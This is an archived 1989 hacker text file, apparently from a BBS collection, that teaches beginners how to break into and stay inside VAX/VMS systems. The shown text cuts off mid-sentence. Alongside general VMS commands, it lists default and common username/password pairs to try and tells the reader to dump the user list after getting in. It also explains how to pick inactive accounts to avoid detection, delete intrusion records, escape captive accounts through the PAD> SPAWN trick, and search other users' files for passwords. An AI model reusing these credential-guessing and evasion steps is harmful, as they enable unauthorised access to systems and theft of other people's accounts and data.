home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / MISC / CCC-2.ZIP / CCC-2.TXT
Encoding:
Text File  |  1990-11-20  |  147.0 KB  |  3,353 lines

  1. +----------------------------------------------------------------------------+
  2. !                     Beginners Guide to VAX/VMS Hacking                     !
  3. !                                                                            !
  4. !             File By ENTITY /  Corrupt Computing Canada  (c) 1989           !
  5. !                                                                            !
  6. !                                                                            !
  7. !                          CORRUPT COMPUTING CANADA!                         !
  8. !                                                                            !
  9. !                CALL: (416)/398-3301  Login: Guest, PW: Guest               !
  10. !                      (416)/756-4545  type !!    Login: lynx                !
  11. !                                                                            !
  12. +----------------------------------------------------------------------------+
  13. !                                                                            !
  14. ! You may freely distribute this file as long as no modifications of any     !
  15. ! form are made to the file. All rights reserved by...What rights?!          !
  16. !                                                                            !
  17. !                                                                            !
  18. +----------------------------------------------------------------------------+
  19.  
  20. September 12,1989
  21.  
  22.  
  23. INTRODUCTION
  24. ------------
  25.  
  26.  
  27.        Perhaps the most exciting Operating system to HACK on is VAX/VMS.
  28. It offers many challenges for hackers and boasts one of the best security
  29. systems ever developed.  In comparison to the security on UNIX, VMS is far
  30. superior in every respect.  It can be very difficult to get inside such a
  31. system and even harder to STAY inside, but isn't that what this is all about?!
  32. I have written this file as a way for beginning hackers to learn about the VMS
  33. operating system.  There is such a vast amount of information that can be
  34. related about VAX/VMS hacking that it is not possible for me to cover
  35. everything in just one file.  As such i will try and stick to the basics for
  36. this file and hopefully write another file in the future that deals with
  37. heavy-duty kernal programming, the various data structures, and system service
  38. calls. All right so lets get at it!
  39.  
  40.  
  41.  
  42.  
  43. GETTING IN
  44. ----------
  45.  
  46.        First of all how do you recognize a VAX when you see one?! Well the
  47. thing that always gives a VAX away, is when you logon you will see:
  48.  
  49. Username:
  50.  
  51. It may also have some other info before it asks you for the username, usually
  52. identifying the company and perhaps a message to the effect of:
  53.  
  54. Unauthorized Users will be prosecuted to the fullest extent of the law!
  55.  
  56. That should get you right in the mood for some serious hacking!  Ok so when you
  57. have determined that the system you have logged into is indeed a VAX, you will
  58. have to at this point enter your SYSTEM LOGIN.  Basically on VAX's there are
  59. several default logins which will get you into the system. However on MOST
  60. systems these default logins are changed by the system manager. In any case,
  61. before you try any other logins, you should try these (since some system
  62. managers are lazy and don't bother changing them):
  63.  
  64. Username           Password        Alternate
  65. -------------------------------------------------------------------------------
  66.  
  67. SYSTEM             MANAGER         OPERATOR
  68. FIELD              SERVICE         TEST
  69. DEFAULT            DEFAULT         USER
  70. SYSTEST            UETP            SYSTEST
  71. DECNET             DECNET          NONPRIV
  72.  
  73.  
  74. That's it. Those are the default system users/passwords.  The only ones on the
  75. list that are GUARANTEED to be in the userlist are SYSTEM and DEFAULT. However,
  76. I have never come across a system where these two haven't been changed from
  77. their default passwords to something else.  In the above list, the alternate
  78. password is simply a password many operators set the password to from the
  79. deafult. So if the first password doesn't work, try the alternate password.  It
  80. should be noted when the a user is added into the system, the default password
  81. for the new user the SAME as his username.  You should keep this point in mind
  82. because it is VERY important. Most of the accounts you hack out, will be found
  83. in this way! Ok if above ones don't work,  then you should try these accounts.
  84. These following accounts are NOT defaults, but through experience i have found
  85. that many systems use these accounts or some variation thereof:
  86.  
  87. Username           Password
  88. ---------------------------
  89. VAX                VAX
  90. VMS                VMS
  91. DCL                DCL
  92. DEC                DEC       *
  93. DEMO               DEMO      *
  94. TEST               TEST      *
  95. NETNONPRIV         NONPRIV   *
  96. NETPRIV            PRIV
  97. ORACLE             ORACLE    *
  98. ALLIN1             ALLIN1    *
  99. INGRES             INGRES    *
  100. GUEST              GUEST     *
  101. GAMES              GAMES
  102. BACKUP             BACKUP    *
  103. HOST               HOST
  104. USER               USER      *
  105. DIGITAL            DIGITAL
  106. REMOTE             REMOTE    *
  107. SAS                SAS
  108. FAULT              FAULT
  109. USERP              USERP
  110. VISITOR            VISITOR
  111. GEAC               GEAC
  112. VLSI               VLSI
  113. INFO               INFO      *
  114. POSTMASTER         MAIL
  115. NET                NET
  116. LIBRARY            LIBRARY
  117. OPERATOR           OPERATOR  *
  118. OPER               OPER
  119.  
  120. The ones that have asterisks (*) beside them are the more popular ones and you
  121. have a better chance with them, so you should try them first. It should be
  122. noted that the VAX will not give you any indication of whether the username
  123. you typed in is indeed valid or not.  Even if you type in a username that does
  124. not exist on the system, it will still ask you for a password.  Keep this in
  125. mind because if you are not sure if whether an account exists or not, don't
  126. waste your time in trying to hack out its password. You could be going on a
  127. wild goose chase!  You should also keep in mind that ALL bad login attempts are
  128. kept track of and when the person logs in, he is informed of how many failed
  129. attempts there were on his account.  If he sees 400 login failures, I am sure
  130. that he will know someone is trying to hack his account.
  131.  
  132.  
  133.  
  134.  
  135. THE BASICS
  136. ----------
  137.  
  138. Ok i am assuming you tried all the above defaults and managed to get yourself
  139. into the system. Now the real FUN begins!  Ok first things first. After you log
  140. in you will get some message about the last time you logged in etc. If this is
  141. the first time you have logged into this system then you should note the last
  142. login date and time and WRITE IT DOWN! This is important for several reasons.
  143. The main one being that you want to find out if the account you have just
  144. hacked is an ACTIVE or INACTIVE account.  The best accounts are the inactive
  145. ones. Why?! Well the inactive accounts are those that people are not using
  146. currently, meaning that there is a better chance of you holding onto that
  147. account and not being discovered by the system operator.  If the account has
  148. not been logged into for the last month or so, theres a good chance that it
  149. is inactive.  Ok anyhow once your in, if you have a normal account with access
  150. to DCL you will get a prompt that looks like:
  151.  
  152. $
  153.  
  154. This may vary from machine to machine but its usually the same. If you have a
  155. weird prompt and would like a normal one, type:
  156.  
  157. $set prompt=$
  158.  
  159. If this is the first time you have hacked into this system there are a couple
  160. of steps you should take immediately. First type:
  161.  
  162. $set control=(y,t)
  163.  
  164. This will enable your break keys (like ctrl-c) so that you can stop a file or
  165. command if you make a mistake.  Usually ctrl-c is active, but this command will
  166. insure that it is. (Note: in general to abort a command, or program you can
  167. type ctrl-c or ctrl-y) Ok anyhow, the next step is to open the buffer in your
  168. terminal then type:
  169.  
  170. $type sys$system:rightslist.dat
  171.  
  172. This will dump a file that has all the systems users listed in it.  You may
  173. notice a lot of weird garbage characters. Don't worry about those, that is
  174. normal.  Ok after this file ends and you get the shell prompt again ($) then
  175. save the buffer, clear it out and leave it open. Then type:
  176.  
  177. $show logical
  178.  
  179. Ok after this file is buffered save it also.  Ok at this point you have two
  180. files on your disk which will help you hack out MORE accounts on the system.
  181. For now, lets find out how powerful the account you currently hacked into is.
  182. You should type:
  183.  
  184. $set proc/priv=all
  185.  
  186. This may give you a message telling you that all your privileges were not
  187. granted. That's ok. Now type:
  188.  
  189. $show proc/priv
  190.  
  191. This will give you a list of all the privileges your account is set up for.
  192. Usually most user accounts only have NETMBX and TMPMBX privs.  If you have
  193. more than these two, then it could mean that you have a nice high-level user.
  194. Unlike UNIX which only has a distinction between user and superuser, VMS has
  195. a whole shitload of different privileges you can gain.  The basic privs are as
  196. follows:
  197.  
  198. PRIVILEGE      DESCRIPTION
  199. ------------------------------------------------------------------------------
  200. NONE           no privilege at all
  201.  
  202.  
  203. NORMAL PRIVS
  204. ------------
  205. MOUNT          Execute mount volume QIO
  206. NETMBX         Create network connections (you need this to call out!)
  207. TMPMBX         Create temporary mailbox
  208.  
  209.  
  210. GROUP PRIVS
  211. -----------
  212. GROUP          Control processes in the same group
  213. GRPPRV         Group access through SYSTEM protection field
  214.  
  215.  
  216. DEVOUR PRIVS
  217. ------------
  218. ACNT           Disable accounting
  219. ALLSPOOL       Allocate spooled devices
  220. BUGCHK         Make bugcheck error log entries
  221. EXQUOTA        Exceed disk quotas
  222. GRPNAM         Insert group logical names n the name table
  223. PRMCEB         Create/delete permanent common event flag clusters
  224. PRMGBL         Create permanent global sections
  225. PRMMBX         Create permanent mailboxes
  226. SHMEM          Create/delete structures in shared memory
  227.  
  228.  
  229. SYSTEM PRIVS
  230. ------------
  231. ALTPRI         Set base priority higher that allotment
  232. OPER           Perform operator functions
  233. PSWAPM         Change process swap mode
  234. WORLD          Control any process
  235. SECURITY       Perform security related functions
  236. SHARE          Access devices allocated to other users
  237. SYSLCK         Lock system-wide resources
  238.  
  239.  
  240. FILES PRIVS
  241. -----------
  242. DIAGNOSE       Diagnose devices
  243. SYSGBL         Create system wide global sections
  244. VOLPRO         Override volume protection
  245.  
  246.  
  247. ALL PRIVS
  248. ---------
  249. BYPASS         Disregard protection
  250. CMEXEC         Change to executive mode
  251. CMKRNL         Change to kernal mode
  252. DETACH         Create detached processes of arbitrary UIC
  253. LOG_IO         Issue logical I/O requests
  254. PFNMAP         Map to specific physical pages
  255. PHY_IO         Issue physical I/O requests
  256. READALL        Possess read access to everything
  257. SETPRV         ***  ENABLE ALL PRIVILEGES!!! ***
  258. SYSNAM         Insert system logical names in the name table
  259. SYSPRV         Access objects through SYSTEM protection field
  260.  
  261.  
  262. Ok that's the lot of them! I will explain some of the more important privileges
  263. later in the file.  For now, at least you can see just how powerful the account
  264. is.  It should be noted that most accounts usually are only granted the TMPMBX
  265. and NETMBX privileges, so if you don't have the others, don't fret too much.
  266.  
  267.  
  268.  
  269. GENERAL TERMINOLOGY
  270. -------------------
  271.  
  272.     I think that i should clarify some of the basic concepts involved with
  273. VAX/VMS operating systems before we go any further:
  274.  
  275. PROCESS: this is what is created when you log in.  The system sets aside CPU
  276.          time and memory for you and calls it a process. Any task that is run
  277.          in VMS is called a process.
  278.  
  279. SUBPROCESS: also known as child-process, this is just a process that was
  280.             created by another process.
  281.  
  282. DCL    : Digital Command Language. This is the shell ($) that you are put into
  283.          when you log into a VAX
  284.  
  285. MCR    : an alternate shell that is used (rarely) on certain accounts. Login
  286.          prompt is a  >  as opposed to DCL which gives a  $
  287. SHELL  : this is the '$' that you see once you are logged in. This is your
  288.          interface with the system, where you can enter the various commands
  289.          execute files and perform other activities.
  290.  
  291. JOB    : a process and a group of its subprocesses performing some task
  292.  
  293. SPAWN  : this is the actual command that allows you to create subprocesses
  294.          'SPAWNING' is the act of creating subprocesses
  295.  
  296. PID    : process identification number. This is an 8 byte ID code that is
  297.          uniquely given to each process that is created on the system.
  298.  
  299. IMAGE  : this is an EXE file that you can execute (ie run)
  300.  
  301. UIC    : User identification code. This is in two parts, namely: [group,member]
  302.          The way this works is that users in the same group can access each
  303.          others files through the group protection code.  However since the UIC
  304.          MUST uniquely identify each user, the member portion separates the
  305.          individuals in each group.  If an account does not have a different
  306.          member number, he will NOT be put in the RIGHTSLIST database.
  307.  
  308.  
  309.  
  310. CONTROL KEYS
  311. ------------
  312.  
  313.  A brief note on control sequences.  Several different actions can be activated
  314. via control sequences. They are:
  315.  
  316. CTRL-H  :delete last character
  317. CTRL-B  :redisplay last command (can go back up to the last 20 commands issued)
  318. CTRL-S  :pause display
  319. CTRL-Q  :continue after pause
  320. CTRL-Z  :*EXIT* use to break out of things such as CREATE and EDIT
  321. CTRL-C  :*CANCEL* will exit out of most operations
  322. CTRL-Y  :*INTERRUPT* will break out of whatever you are doing
  323. CTRL-T  :print out statistical info about the process
  324.  
  325. NOTE: sometimes upon login, the CTRL-Y, CTRL-C keys are disabled.  To ensure
  326.       these are enabled, issue this command upon login:
  327.  
  328. $ SET CONTROL
  329.  
  330.  
  331. -------------------------------------------------------------------------------
  332. NOTE: all the commands that are executed from DCL can be referenced from an
  333.       online help manual.  To access this, simply type help at any '$' prompt
  334.       This help is also available within the various utilities and programs
  335.       such as authorize and mail. The two MOST important commands are SET and
  336.       SHOW. These should be buffered and printed out for your own reference.
  337. -------------------------------------------------------------------------------
  338.  
  339. FILES and DIRECTORIES
  340. ---------------------
  341.  
  342.  The directory structure of VMS is a heirarchical one similar to MS-DOS and
  343. UNIX. Its a simple concept, and i will only briefly skim over it.  First of all
  344. it should be noted that there may be more than one hard drive or other
  345. mass-storage device hooked up to your system. Within each hard drive there is
  346. the ROOT directory. This is the highest directory in the tree and is referenced
  347. by [000000]. (this will be explained in a minute)  Within the root there are
  348. several subdirectories. Within these subdirectories there may be files and even
  349. further subdirectories.  The concept is quite simple, but can be difficult to
  350. explain.  Here is a diagram to give you a rough idea of how it is set up:
  351.  
  352.  
  353.  
  354.                                  [000000] <--root directory
  355.                                      !
  356.                                      !
  357.           +--------------------------+---------------------------------+
  358.           !                          !                                 !
  359.           !                          !                                 !
  360.         [d1]                       [d2]                              [d3]
  361.           !                          !                                 !
  362.     +-----+--------+           +-----+-----+                  +--------+
  363.     !     !        !           !           !                  !        !
  364.     !     !        !           !           !              [d3.d3a]  [d3.d3b]
  365.  [d1.da] [d1.db] [d1.dc]    [d2.d2a]   [d2.d2b]
  366.             !                  !           !
  367.             !                  !        +--+-----------+
  368.        [d1.db.db1]        [d2.d2a.d2a1] !              !
  369.                                        [d2.d2b.d2b1] [d2.d2b.d2b2]
  370.  
  371.  
  372.  
  373.  
  374.     Hopefully this will give you some sort of an idea of how the directories
  375. can be structured. Within each subdirectory there may be other files also. For
  376. example to see the directory after you log in you would type:
  377.  
  378. $dir
  379.  
  380. a sample result may be:
  381.  
  382.  
  383. Directory DISK$SCHOOL:[REPORTS.JOHN]
  384.  
  385. average.com;3
  386. generate.exe;1
  387. mail.mai;10
  388. marks.dat;4
  389. marks.dat;5
  390. reportcard.dir
  391. projects.dir
  392.  
  393. Total 7 files.
  394.  
  395. What does this tell you? The first line tells you what drive and subdirectory
  396. you are in. The next lines are the actual files. As you can see each file has
  397. a 3 character extension, followed by a comma and a number.  The name before the
  398. period is the actual filename (eg. average) the 3 characters after the period
  399. is known as the extension (eg.com) and the number after the comma refers to the
  400. version of the file. So in this case, this is version number 3.  Any time you
  401. modify or save a file, it automatically assigns it a version number of 1. If
  402. file already exists on your disk, it increments the version number by 1 and
  403. then saves it as such.  So the next time i go ahead and save the file
  404. average.com, it would add another file to the list called average.com;4
  405.   Special note should be taken of the files that have an extension of '.DIR'
  406. These are not really files, but rather subdirectories.  I will show you how to
  407. switch subdirectories in just a minute. First you should take note of the
  408. different file extensions.  Although you can name the files anything you want
  409. some of the more important extensions are:
  410.  
  411. TYPE      DESCRIPTION
  412. -------------------------------------------------------------------------------
  413. EXE       Executable IMAGE. These files are programs that can be RUN
  414. COM       DCL SCRIPT files. These can also be executed, utilizing the @ command
  415. DAT       DATA file. Sometimes useful things to look at.
  416. LIS       Listing File, many times important info is in here
  417. MAI       Mail file,  use the MAIL command to read these
  418. DIR       DIRECTORY - not a file
  419. JOU       Journal File, often created thru the use of other programs eg EDIT
  420. TXT       Text Files, often hold useful information.
  421.  
  422. These are just some of the extensions you are most likely to see. The two
  423. important ones are the EXE and COM files. These can be executed from the DCL
  424. level. EXE files are executed via the RUN command. Eg. to run authorize.exe:
  425.  
  426. $run authorize
  427.  
  428. This will run the authorize IMAGE. Supposing there were more than one version
  429. of authorize you could specify a version number. eg.
  430.  
  431. $run authorize.exe;4
  432.  
  433. The other type of file you can run is the COM files. These are like SCRIPT
  434. files in UNIX or .BAT files from MS-DOS.  They are just a sequence of DCL
  435. commands strung together that are executed when you initiate the file. To run
  436. COM files, use the @ command. For example to run adduser.com, type:
  437.  
  438. $@adduser
  439.  
  440. The version number thing i stated for EXE files also applies for COM files.
  441.  
  442. ***NOTE***  To get a listing of all the files on the whole drive, try this:
  443.  
  444. $sd [000000]
  445. $dir [...]*.*
  446.  
  447. Similarly you type dir [...]*.com, if you wanted just the COM files listed.
  448. To see the contents of a file, you can use the TYPE command. For example:
  449.  
  450. $type login.com
  451.  
  452. this might type out something like:
  453.  
  454. $ sd:==set default
  455. $ set control=(y,t)
  456. $ set proc/name=entity
  457. $ set term/dev=vt100
  458.          :
  459.          :
  460.          :
  461.         etc
  462.  
  463. This is great for COM files, DAT files and some of the other types, but you
  464. will always get garbage when you type EXE files so don't bother trying those.
  465. This is very useful for snooping around other peoples files and getting
  466. information. Many times i have found user/passwords lying around in TXT or
  467. LIS files left by some careless user.
  468.  
  469.  Now, how do you go about changing directories? Well, first you should set up
  470. a shortcut.  The normal command to change directories is SET DEFAULT. For
  471. example to change to a subdirectory called REPORTS, you would have to type:
  472.  
  473. $set default [.reports]
  474.  
  475. To make life simpler on yourself, as soon as you log in, you should type:
  476.  
  477. $sd:==set default
  478.  
  479. This defines a macro called SD that is interpreted by DCL as SET DEFAULT. You
  480. can similarly define other 'favorite' commands to some short, easy to remember
  481. definition.  Anyhow heres the syntax for changing directories:
  482.  
  483. SD DEVICE:[dir1.dir2.dir3....]
  484.  
  485. The device can be optionally left out, if you plan to remain in the same hard
  486. drive. You have to then enter a '[' followed by the root directory, followed
  487. by a period, followed by another subdirectory name etc. Eg.
  488.  
  489. $sd dub0:[cosy.users]
  490.  
  491. Suppose at this point, you were in directory cosy, subdirectory users and there
  492. was a further subdirectory called 'info.dir'.  Rather than specify the full
  493. pathname, you can simply type:
  494.  
  495. $sd [.info]
  496.  
  497. This will advance you one level into the info subdirectory. Remember to put the
  498. period in front of the subdirectory. If you don't, in this case it would assume
  499. that you were trying to reference the root directory called info.  Another
  500. important thing to note is moving back levels in terms of subdirectories. For
  501. example if you were in [cosy.users.info] and wanted to move back to
  502. [cosy.users] you could type:
  503.  
  504. $sd [-]
  505.  
  506. Similarly you can put in as many hyphens (-) as you want to move back. For
  507. example  sd [--]  would put you back to the cosy directory.
  508.  
  509. Another important thing to note about subdirectories are logical assigned
  510. symbols. These are names assigned to certain things. For example the main
  511. system directory is called sys$system. So to go to it you could type:
  512.  
  513. $sd sys$system
  514.  
  515. This would throw you into the system directory. Similarly you can type:
  516.  
  517. $sd sys$login
  518.  
  519. and this will put you back into the directory that you were initially in, when
  520. you first logged in.  These symbols stand for actual device:directory
  521. combinations.  To see the various definitions that are assigned to each process
  522. you should type:
  523.  
  524. $show logical
  525.  
  526. This will list a whole bunch of global system equates that you can use to
  527. access various parts of the VAX structure.  In addition to view all of your
  528. locally defined symbols, use:
  529.  
  530. $show symbol *
  531.  
  532.  
  533.  
  534. FILE PROTECTION
  535. ---------------
  536.  
  537. Ok before i begin this, let me just state that whatever i say about files also
  538. applies to directories.  There are four types of file protections. There is
  539. SYSTEM,WORLD,GROUP and OWNER. These are briefly:
  540.  
  541. SYSTEM- All users who have group numbers 0-8 and users with physical or logical
  542.         I/O privileges  (generally system managers, system programmers, and
  543.         operators)
  544. OWNER - the owner of the file (or subdirectory), isolated via their User
  545.         Identification Code (UIC). This means the person who created the file!
  546. GROUP - All users who have the same group number in their UICs as the owner of
  547.         the file.
  548. WORLD - All users who do not fall in the categories above
  549.  
  550. Each file has four types of protection within each of the above categories.
  551. They are: Read, Write, Execute, Delete. Explanations are:
  552.  
  553. READ   - You can read the file and copy it.
  554. WRITE  - You can modify and rename that file.
  555. EXECUTE- You can run the file
  556. DELETE - You can delete the file
  557.  
  558. When you create a file the default is that you have all the privileges for that
  559. particular file. Group, world and system may only have limited privileges. This
  560. can be changed with the set protection DCL command. For example:
  561.  
  562. $set protection=(group:rwed,world:r)/default
  563.  
  564. would set your default protection to allow other users in your group to have
  565. full read,write,execute,delete privs to the file, and others only read access
  566. to the file. The /default means that from now on all the files you create will
  567. be set with this particular protection.  To change one of your own files to
  568. some other protection you can alternatively use:
  569.  
  570. $set prot topsecret.dat /prot=(system:rwed,group:rwed,world:rwed,owner:rwed)
  571.  
  572. This would enable all users on the system to access the file 'topsecret.dat'
  573. When specifying the protection, you do not have to list them for each of the
  574. four groups.  You can simply choose only those that you want changed from your
  575. default.
  576.  
  577.  
  578.  
  579. EDITING FILES
  580. -------------
  581.  
  582.   An important utility that all VAX hackers should be familiar with is the EDT
  583. text editor. To call it up, use the EDIT DCL command. ie:
  584.  
  585. $edit [filename]
  586.  
  587. This will invoke the EDIT/EDT text editor.  The [filename] refers to the file
  588. that you want to edit.  If the file does not exist, it is created at this point.
  589. The EDT editor does not provide a default file type when creating files, so if
  590. you do not specify one, it will leave it as NULL.  It should be noted that there
  591. is more than just the EDT editor, but when you type in EDIT, the default is
  592. /EDT.  Basically it is an editor that you can use to create/modify COM or any
  593. other type of text files.
  594.  
  595.  After the editor is invoked, it keeps track of everything that you enter in a
  596. JOU file.  In case of lost carrier or some other accident, you can recover what
  597. you had by specifying the /RECOVER qualifier. For example:
  598.  
  599. $edit/recover memo.dat
  600.  
  601. This would take the last copy of memo.dat, load it into memory, then process
  602. your last JOU file, updating it to virtually exactly where you were before you
  603. got cut off.  Journaling is automatically defaulted to ON, but can be turned
  604. off with the /NOJOURNAL qualifier.  For a description of what all the qualifiers
  605. are, and what they do, refer to the online HELP manual.
  606.  
  607.  Ok here is a list of the basic commands you can perform in the EDT editor:
  608.  
  609.  
  610. --------------------------------------------------------------------------------
  611.  
  612. X   (where X = line number)............show line X only
  613. X:Y (where X,Y = line numbers).........show line X through line Y
  614. A,B,C,D (a,b,c,d = line numbers).......list lines A,B,C,D
  615. X:e ...................................list from X to end
  616. T W ...................................TYPE WHOLE. List ALL of the text lines
  617. S/string1/string2/W....................substitute ALL occurrences of string1
  618.                                        for string2 as they occur from current
  619.                                        line number downwards
  620. "string" ..............................search for first occurrence of string
  621.                                        from current line downwards
  622. T A "string" ..........................type all occurrences of string from
  623.                                        current line downwards
  624. X:Y a "string" ........................search for occurrences of string within
  625.                                        range denoted by X through Y
  626. D X ...................................Delete line X
  627. D X:Y .................................Delete line X through Y, inclusively
  628. I .....................................insert a line
  629. I X ...................................insert from line X
  630. M X:Y to Z ............................move lines X through Y to line Z
  631. RES ...................................resequence line numbers
  632. RES/SEQ:X:10 ..........................resequence from line X in intervals of 10
  633. R X ...................................replace from line X. This deletes the
  634.                                        current line and automatically goes into
  635.                                        insertion mode.
  636. EXIT ..................................leave the editor, and SAVE the current
  637.                                        text.
  638. QUIT ..................................leave the editor and DO NOT SAVE the
  639.                                        current text.
  640.  
  641. --------------------------------------------------------------------------------
  642.  
  643. A sample editing session is shown:
  644.  
  645. $edit lame.txt
  646.  
  647. * i
  648.  
  649.      hi this is just some bullshit text to test out how this EDIT program
  650.      works.  Oh well, easy enough.  bye!
  651.  
  652.      <hit ctrl-z>
  653.  
  654. *exit
  655.  
  656. $type lame.txt
  657.  
  658.  hi this is just some bullshit text to test out how this EDIT program
  659.  works.  Oh well, easy enough.  bye!
  660.  
  661. $del lame.txt;*
  662.  
  663. COMMANDS
  664. --------
  665.  
  666. In this section i will outline some of the more important commands that you can
  667. issue from the DCL level. This is not meant to be a complete guide. I will
  668. merely point out some of the more important commands and a very brief
  669. description. Proper help can be obtained from the online HELP facility.
  670.  
  671.  
  672. NOTE: It should be noted that each of the following commands may have further
  673. ----- qualifiers that you can specify. You should check up on these from the
  674.       online help also.
  675.  
  676.  
  677. @               -Lets you execute COM script files
  678. ACCOUNTING      -allows you to view and edit system accounting data that keeps
  679.                  track of what system time you have racked up.
  680. ANALYZE         -lets you view the contents of OBJ files in HEX/ASCII format.
  681. ANALYZE/SYSTEM  -Invokes the SDA. VERY VERY USEFUL!! Allows you to view other
  682.                  running processes, their type-ahead buffers etc.
  683. APPEND          -appends the contents of file1 to file2
  684. ATTACH          -allows you to attach yourself to one of your subprocesses
  685. CLOSE           -closes a file that was opened for input/output via OPEN
  686. CONTINUE        -continue a process that you have aborted with control-y
  687. COPY            -copy file1 to file2. You can specify full pathnames, with
  688.                  device and subdirectory. If you want to copy it to your home
  689.                  directory just use sys$login as your 'TO' file.
  690. CREATE          -create a text file of any type. Eg. you want to create a
  691.                  simple COM file or perhaps a letter to another hacker on the
  692.                  system. (you shouldn't be using MAIL to send messages!)
  693. CREATE/DIR      -If you want to create a subdirectory
  694. DELETE          -delete a filename. Remember to specify a version number when
  695.                  you are deleting a file or it wont work.eg. del garbage.com;1
  696. DELETE/INTRUSION_RECORD -gets rid of the failed password attempts
  697. DIFFERENCES     -compares two files and notifies you of their differences
  698. DIRECTORY       -get a directory of the files. Various qualifiers can be chosen
  699. DUMP            -get a hex/ascii file dump
  700. EDIT/EDT        -invokes the VAX EDT interactive text editor
  701. EXAMINE         -view the contents of virtual memory
  702. HELP            -ONLINE HELP MANUAL. REFER TO IT OFTEN!
  703. LINK            -link object files into EXE files that you can run
  704. LOGOUT          -the proper way to terminate a session
  705. PHONE           -Allows you to chat with another user on the system. It is not
  706.                  recommended that you use this, except with fellow hackers.
  707. RENAME          -rename a file or directory
  708. RUN             -lets you execute EXE files
  709. SET CONTROL     -disables/enables interrupts via ctrl-y/ctrl-c
  710. SET DEFAULT     -change directories
  711. SET HOST        -allows you to connect to another mainframe
  712. SET PASSWORD    -change the password of your account
  713. SET PROCESS     -change the characteristics of your process
  714. SET PROMPT      -change the prompt ($)
  715. SET TERMINAL    -change your terminal characteristics
  716. SHOW ACCOUNTING -show the current security/accounting enabled
  717. SHOW AUDIT      -show SECURITY enabled
  718. SHOW DEFAULT    -see your current directory. (Like PWD in UNIX)
  719. SHOW DEVICES    -check out the system setup
  720. SHOW INTRUSION  -view the contents of the breakin database
  721. SHOW LOGICAL    -current logical name assignments
  722. SHOW NETWORK    -lists all the available nodes that you can connect to
  723. SHOW PROCESS    -View your process settings
  724. SHOW PROTECTION -show the default protection you have set
  725. SHOW SYSTEM     -useful to see the running processes
  726. SHOW TERMINAL   -display your terminal characteristics
  727. SHOW USERS      -see who else is logged in.
  728. SPAWN           -spawn a subprocess
  729. STOP            -kill off a subprocess
  730. TYPE            -view a file
  731.  
  732.  
  733.   This should give you a general overview of some of the more important
  734. commands that you can use.  It would be impossible for me to list ALL the
  735. commands, and their descriptions, so i suggest that you go through the online
  736. HELP facility and familiarize yourself with the syntax of some these commands.
  737.  
  738.  
  739. HACKING
  740. -------
  741.  
  742. Up to this point i have mainly discussed the basic concepts involved with VMS.
  743. By now you should be familiar and comfortable with the various DCL commands
  744. and how to accomplish certain tasks.  If you are still sketchy, go back and
  745. re-read the sections you don't understand.  You may also want to log into a VAX
  746. and just try fiddling around in the shell getting used to how the whole thing
  747. works.
  748.  
  749.  In this section i will discuss some of the techniques that you may find useful
  750. in hacking out accounts, calling out to remote systems, and gaining access to
  751. confidential information.
  752.  
  753.  
  754.  Lets start from the top: When you first login to the system, after it accepts
  755. your password etc, it executes the SYLOGIN.COM file.  Then it searches your
  756. default directory for the file LOGIN.COM (this may be changed by the system
  757. manager if he wishes)  This file basically sets up your terminal parameters and
  758. perhaps some macros that you wish to be defined. It may or may not also execute
  759. some utility.
  760.  
  761.  
  762. BYPASSING LOGIN.COM
  763. -------------------
  764.  
  765.  Sometimes it may be useful to be able to skip the login procedures. For
  766. example if the system automatically runs some file as soon as you log in, and
  767. doesn't put you into the shell, this technique can be used:
  768.  
  769. Username: entity/nocomm
  770.  
  771. Assuming the user was named entity, if you put a /nocomm qualifier, it will
  772. skip the login.com file and put you directly into DCL. Similarly you can
  773. specify some other file you want executed instead of login.com. eg.
  774.  
  775. Username: entity/comm=custom.com
  776.  
  777. This will execute the custom.com file upon entry into the account.  It should
  778. be noted that these methods WILL NOT WORK on a CAPTIVE account. What is a
  779. captive account?! Read on...
  780.  
  781.  
  782. CAPTIVE ACCOUNTS
  783. ----------------
  784.  
  785.  Many times, in an attempt to make an account more secure the system manager
  786. sets the captive flag to ON, in the users profile.  What this means is that
  787. when you log in, you cannot break out of the login file into the DCL shell.
  788. This means that although you can hit ctrl-y and it may even say *interrupt*
  789. it will not actually abort the file.  So how do you exit to DCL?! Well there
  790. are a few ways. Usually accounts set up in this manner are used to allow the
  791. user to connect to other nodes.  If this is the type of account that you have
  792. logged into then try the following:  First choose an option from the menu that
  793. they present that allows you to call any node.  When it says something like
  794. %connected to...  then hit two ctrl-y in quick succession.  It will then ask
  795. you if you want to really abort the current session. Type Y and it will put you
  796. at a prompt that looks like:
  797.  
  798. PAD>
  799.  
  800. At this point you should type in SPAWN and it will spawn a process and throw
  801. you into the DCL Shell.  This is a major security flaw in VMS and can be put to
  802. good use on many a system.
  803.  
  804.  
  805. GAINING PRIVILEGES
  806. ------------------
  807.  
  808. On most systems that you hack into, you will find yourself with only TMPMBX and
  809. NETMBX privileges. To see your privs type:
  810.  
  811. $show proc/priv
  812.  
  813. These however may not be all the privileges that you have assigned. Upon login,
  814. the system only assigns you your default privileges. On some accounts you may
  815. have more than just these privileges. To see if you do, type:
  816.  
  817. $set proc/priv=all
  818.  
  819. if this doesn't give you any error message then you have found yourself a
  820. SYSTEM account! With this account you can create new users, change the security
  821. setup read other peoples files etc.  Here are a list of some of the more
  822. important privileges and what they can be used for:
  823.  
  824. CMKRNL    -change to kernal mode. Very Powerful privilege!!
  825. SETPRV    -allows you to become a Super-User. You can do whatever you want!
  826. READALL   -allows you to read other peoples files and directories regardless
  827.            of the protection
  828. OPER      -allows you to perform many useful operator functions (security etc)
  829. SYSPRV    -You can gain the same UIC as the system and access just about
  830.            anything you want. Create/modify accounts
  831. NETMBX    -allows you to call out on the network to other systems
  832. BYPASS    -this allows you to view network passwords, and to bypass all types
  833.            of protection fields
  834.  
  835. These are just some of the more important ones to the hacker.  For a complete
  836. list of all the privileges and what each one does, see the list i presented
  837. earlier in the file.
  838.  
  839. One important note: It is not possible to gain privileges that are not set up
  840. in your default from the DCL level.  There is one way to gain ALL privileges on
  841. ANY Vax but it involves some serious kernal programming.  I could outline the
  842. program here but i chose not to.  The reason for this is that many people would
  843. abuse the system if they had access to wiping out hard drives and totally
  844. trashing the system.  If you work from the ground up, you begin to realize just
  845. how important gaining extra access is. You begin to respect the VMS system for
  846. what it is.  A system account in the hands of novice is a very dangerous thing
  847. indeed, and my suggestion is that if you have a SYSTEM account that has more
  848. than just the default privileges that you should disable them.  This will only
  849. help you from making any mistakes and screwing up the system.  To do this type:
  850.  
  851. $set proc/priv=noall
  852. $set proc/priv=(tmpmbx,netmbx,readall)
  853.  
  854. With these privileges you should be able to easily navigate throughout the
  855. system without messing anything up.  Keep one thing in mind, don't delete files
